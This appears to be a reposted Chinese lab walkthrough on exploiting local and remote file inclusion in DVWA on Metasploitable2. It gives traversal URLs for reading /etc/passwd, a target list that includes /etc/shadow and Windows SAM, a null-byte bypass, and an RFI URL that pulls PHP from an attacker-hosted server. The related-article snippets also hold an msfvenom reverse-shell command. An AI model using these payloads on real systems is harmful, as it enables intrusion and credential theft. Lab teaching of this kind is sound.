msf上传文件到服务器,Metasploit 文件包含漏洞

2023-05-16

远程文件包含(RFI)和本地文件包含(LFI)是通常在编写不好的Web应用程序中发现的漏洞。当Web应用程序允许用户将输入提交到文件或将文件上载到服务器时,会发生这些漏洞。

LFI漏洞允许攻击者读取(有时执行)受害机器上的文件。这可能非常危险,因为如果Web服务器配置错误并以高权限运行,攻击者可能会访问敏感信息。如果攻击者能够通过其他方式在Web服务器上放置代码,那么他们可能能够执行任意命令。

RFI漏洞更容易被利用,但不太常见。攻击者无法访问本地机器上的文件,而是能够执行自己机器上托管的代码。

为了演示这些技术,我们将在metasploitable中使用Damn Vulnerable Web Application(DVWA)。从您的浏览器连接到metasploitable,然后单击DVWA链接。

登录到DVWA的凭证是:admin / password

一旦我们通过身份验证,请单击左侧面板上的“DVWA Security”选项卡。将安全级别设置为“low(  低)”,然后单击“Submit”,然后选择“File Inclusion(文件包含)”选项卡。f331b22caf6a8609f92cfefb2e6a88ac.png

在文件包含页面上,单击右下角的查看源按钮。如果您的安全设置成功设置为低,您应该看到以下源代码:

$file = $_GET['page']; //The page we wish to display

这段代码本身并不脆弱,因此漏洞在哪里?对于尚未拥有root权限的普通攻击者来说,这可能是他们调查结束的地方。$ _GET变量很有趣,他们将开始测试或扫描文件包含。由于我们已经拥有对计算机的root访问权限,因此我们可以加倍努力,看看我们是否可以找出漏洞来自哪里。

使用以下凭据SSH进行metasploitable2:msfadmin / msfadmin。

我们可以使用cat来查看/ var / www / dvwa / vulnerability / fi /目录下的index.php。

msfadmin:cat -n /var/www/dvwa/vulnerabilities/fi/index.php

查看输出,我们可以看到第15行有一个switch语句,它将安全设置作为输入,并根据应用的设置而中断。由于我们选择了“低”,代码继续调用/source/low.php。如果我们在index.php中向下看,我们可以看到第35行说:

include($file);

我们终于得到它了!我们找到了该漏洞的位置。此代码易受攻击,因为没有对用户提供的输入进行清理。具体来说,$ file变量在被include()函数调用之前未被清理。

如果Web服务器可以访问请求的文件,那么包含在里面的任何PHP代码都会被执行。文件中的任何非PHP代码都将显示在用户的浏览器中。

现在我们已经了解了文件包含漏洞可能发生的情况,我们将利用include.php页面上的漏洞。

本地文件包含(LFI)

在浏览器地址栏中输入以下内容:

http://192.168.80.134/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd

上例中使用的“../”字符表示目录遍历。“../”序列的数量取决于受害机器上目标Web服务器的配置和位置。可能需要一些实验。

我们可以看到/ etc / passwd的内容显示在屏幕上。通过这种方式可以获得许多有关主机的有用信息。一些有趣的文件包括但不限于:

Linux文件位置:

– /etc/issue

– /proc/version

– /etc/profile

– /etc/passwd

– /etc/passwd

– /etc/shadow

– /root/.bash_history

– /var/log/dmessage

– /var/mail/root

– /var/spool/cron/crontabs/root

Windows文件位置:

– %SYSTEMROOT%\repair\system

– %SYSTEMROOT%\repair\SAM

– %SYSTEMROOT%\repair\SAM

– %WINDIR%\win.ini

– %SYSTEMDRIVE%\boot.ini

– %WINDIR%\Panther\sysprep.inf

– %WINDIR%\system32\config\AppEvent.Evt

OS X / macOS文件位置:

– /etc/fstab

– /etc/master.passwd

– /etc/resolv.conf

– /etc/sudoers

– /etc/sysctl.conf

695f19df2d7ca70bfedf8506fc4b11a2.png

有时在本地文件包含期间,Web服务器将“.php”附加到包含的文件中。例如,包含“/ etc / passwd”被渲染为“/etc/passwd.php”。当include函数使用类似“?page”的参数并将.php扩展名连接到文件时,会发生这种情况。在5.3以下版本的PHP中,使用空字节(%00)结束URL会导致解释器停止读取,这将允许攻击者包含其预期页面。

远程文件包含(RFI)

演示的这部分需要一些初始设置。我们将以此为契机开发一些Linux命令行和PHP技能。

为了使RFI成功,需要设置PHP配置文件中的两个函数。“allow_url_fopen”和“allow_url_include”都需要“On”。从PHP文档中,我们可以看到这些配置的功能。

allow_url_fopen - “这个选项启用URL感知的fopen包装器,以启用访问URL对象的文件。为使用ftp或http协议访问远程文件提供了默认的包装器,一些扩展如zlib可能会注册其他包装器。“

allow_url_include - “这个选项允许使用具有以下功能的URL-aware fopen包装:include,include_once,require,require_once”

要查找DVWA的配置文件,请单击左侧面板上的“PHP info”选项卡。这个屏幕给我们提供了大量有用的信息,包括PHP版本,受害者的操作系统,当然还有配置文件。我们可以看到加载的文件是“/etc/php5/cgi/php.ini”。5d0be6d8fa6c75878e0eabcee3ecfb0c.png

在metasploitable2中,我们可以使用nano打开php.ini文件:

msfadmin: sudo nano /etc/php5/cgi/php.ini

sudo password: msfadmin

在nano中,输入“ctrl-w”查找一个字符串。输入“allow_url”并回车。我们现在应该在php.ini文件的第573行(输入“ctrl-c”来查找nano中的当前行)。确保“allow_url_fopen”和“allow_url_include”都设置为“On”。用“ctrl-o”保存文件,然后用“ctrl-x”退出。现在,重新启动metasploitable的web服务器:

msfadmin: sudo /etc/init.d/apache2 restart

在kali,我们需要建立自己的网络服务器进行测试。首先,创建一个名为“rfi-test.php”的测试文件,然后启动apache。

[email protected]:~# echo "Success." > /var/www/html/rfi-test.php

[email protected]:~# systemctl start apache2

现在我们可以测试我们的RFI。在“File Inclusion”页面上,输入以下URL:

http://192.168.80.134/dvwa/vulnerabilities/fi/?page=http://192.168.80.128/rfi-test.php

e034417ddb88dcc647d573b1edec0153.png

从浏览器顶部显示的输出中,我们可以看到该页面确实容易受到RFI的影响。

要完成此RFI,我们将查看PHP Meterpreter页面上的php_include功能。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

msf上传文件到服务器,Metasploit 文件包含漏洞 的相关文章

  • powershell上传文件到服务器,Powershell:powershell脚本同步备份文件到其他服务器

    Remove PSDrive Z User 61 34 192 168 1 1 administrator 34 PassWord 61 ConvertTo SecureString String 34 Passw 64 rd 34 AsP
  • 1.文件包含漏洞

    一 什么是文件包含漏洞 随着网站业务的需求 程序开发人员一般希望代码更灵活 所以将被包含的文件设置为变量 用来进行动态调用 但是正是这种灵活性通过动态变量的方式引入需要包含的文件时 用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕
  • kali下msf提权

    生成木马 Msfvenom p windows meterpreter reverse tcp lhost 61 192 168 184 132 lport 61 4444 f exe o root Desktop 1 exe 配置监听程序
  • MSF详细解读与使用

    转载自 xff1a https www cnblogs com ilekoaiq p 9311357 html 相机IMU融合四部曲 xff08 三 xff09 MSF详细解读与使用 极品巧克力 前言 通过前两篇文章 xff0c D LG
  • ethzasl_msf(multi-sensor fusion)传感器融合定位算法解析

    瑞士苏黎世大学Stephen Weiss对基于EFK松耦合传感器融合定位研究非常深入 xff0c 以下是他的相关论文和开源代码 xff0c 可以详细阅读 xff0c 最后附上了本人阅读的相关博客 1 论文 1 Vision Based Na
  • Metasploit体系结构和目录

    一 Metasploit体系结构 一 xff09 基础库文件 metasploit基础库文件位于源码根目录路径下的libraries目录中 xff0c 包括Rex framework core和framework base三部分 Rex是整
  • Metasploit中meterpreter/reverse_tcp+exploit/multi/handler攻击实战教程

    由于是实战 肯定要一个服务器对吗 为了不搞破坏 我这里就不用服务器了 我现在已经用另一台电脑搭建了一个网站 用phpstudy快速搭建的 这台电脑IP是 192 168 1 103 我用的是渗透测试系统Kali Linux 由于此系统是自带
  • [网络安全提高篇] 一〇二.Metasploit技术之基础用法万字详解及防御机理

    当您阅读到该篇文章时 作者已经将 网络安全自学篇 设置成了收费专栏 首先说声抱歉 感谢这一年来大家的阅读和陪伴 这100篇安全文章记录了自己从菜鸡到菜鸟的成长史 该部分知识也花了很多精力去学习和总结 希望您能进步 一起加油喔 接下来我会接着
  • Metasploitable安装与介绍

    今天继续给大家介绍渗透测试相关知识 本文主要内容是Metasploitable安装与介绍 免责声明 本文所介绍的内容仅做学习交流使用 严禁利用文中技术进行非法行为 否则造成一切严重后果自负 一 Metasploitable介绍 Metasp
  • 网络安全-文件包含漏洞原理、攻击及防御

    目录 简介 类型 原理 攻击 仅本地文件包含 防御 简介 文件包含 是一个功能 在各种开发语言中都提供了内置的文件包含函数 可以使开发人员在一个代码文件中直接包含 引入 另外一个代码文件 类型 根据不同的配置环境 文件包含漏洞分为如下两种情
  • WEB安全之:Oracle 数据库 SQL 注入

    郑重声明 本笔记编写目的只用于安全知识提升 并与更多人共享安全知识 切勿使用笔记中的技术进行违法活动 利用笔记中的技术造成的后果与作者本人无关 倡导维护网络安全人人有责 共同维护网络文明和谐 SQL 注入 Oracle 数据库 1 Orac
  • 内网安全之:Windows 密码抓取

    郑重声明 本笔记编写目的只用于安全知识提升 并与更多人共享安全知识 切勿使用笔记中的技术进行违法活动 利用笔记中的技术造成的后果与作者本人无关 倡导维护网络安全人人有责 共同维护网络文明和谐 Windows 密码抓取 1 mimikatz
  • iwebsec靶场 文件包含漏洞通关笔记9-file://伪协议利用

    目录 前言 1 file协议 2 利用条件 1 file 用于访问本地文件系统 2 file 必须是绝对路径 第09关 file 伪协议利用 1 打开靶场 2 源码分析 3 获取 etc passwd渗透 前言 1 file协议 file协
  • Kali - 靶系统 metasploitable2 初始化修改数据库

    原本都到了0202年了 该用3 或者更高的靶系统了 但是由于网络不通 所以找了2来凑合 常规的操作 下载系统 安装虚拟机软件 导入到虚拟机里面 修改虚拟机数据库配置文件 vi etc www mutillidae config inc 将
  • mac os 安装metasploit v5.0.23(msf)

    安装metasploit git clone https github com rapid7 metasploit framework git cd metasploit framework msfconsole 执行上面的命令时 报如下错
  • Cobalt Strike Malleable C2

    郑重声明 本笔记编写目的只用于安全知识提升 并与更多人共享安全知识 切勿使用笔记中的技术进行违法活动 利用笔记中的技术造成的后果与作者本人无关 倡导维护网络安全人人有责 共同维护网络文明和谐 Cobalt Strike Malleable
  • 内网安全之:Kerberos 域用户提权漏洞(MS14-068;CVE-2014-6324)

    郑重声明 本笔记编写目的只用于安全知识提升 并与更多人共享安全知识 切勿使用笔记中的技术进行违法活动 利用笔记中的技术造成的后果与作者本人无关 倡导维护网络安全人人有责 共同维护网络文明和谐 Kerberos 域用户提权漏洞 MS14 06
  • 渗透Metasploitable主机

    攻击机 kali 靶机 Metasploitable2 一个特制的ubuntu操作系统 设计初衷作为安全工具测试和演示常见漏洞攻击的环境 默认开放高危端口如21 22 23 445 6000等等 而且具有很多未打补丁的高危漏洞 Metasp
  • kali2.0 Metasploit连接postgres数据库

    sudo u postgres createuser demo P 创建用户demo sudo u postgres psql 进入数据库 postgres password demo 设置密码 sudo u postgres create
  • 使用cs与msf进行内网横向移动

    使用cs与msf进行内网横向移动 目标系统为 192 168 1 123 跳板主机为 192 168 1 118 一 使用cs探测内网 1 将目标上线至CS 2 使用cs探测内网信息 查看当前目标系统网络情况 确认目标系统所在内网网段 3

随机推荐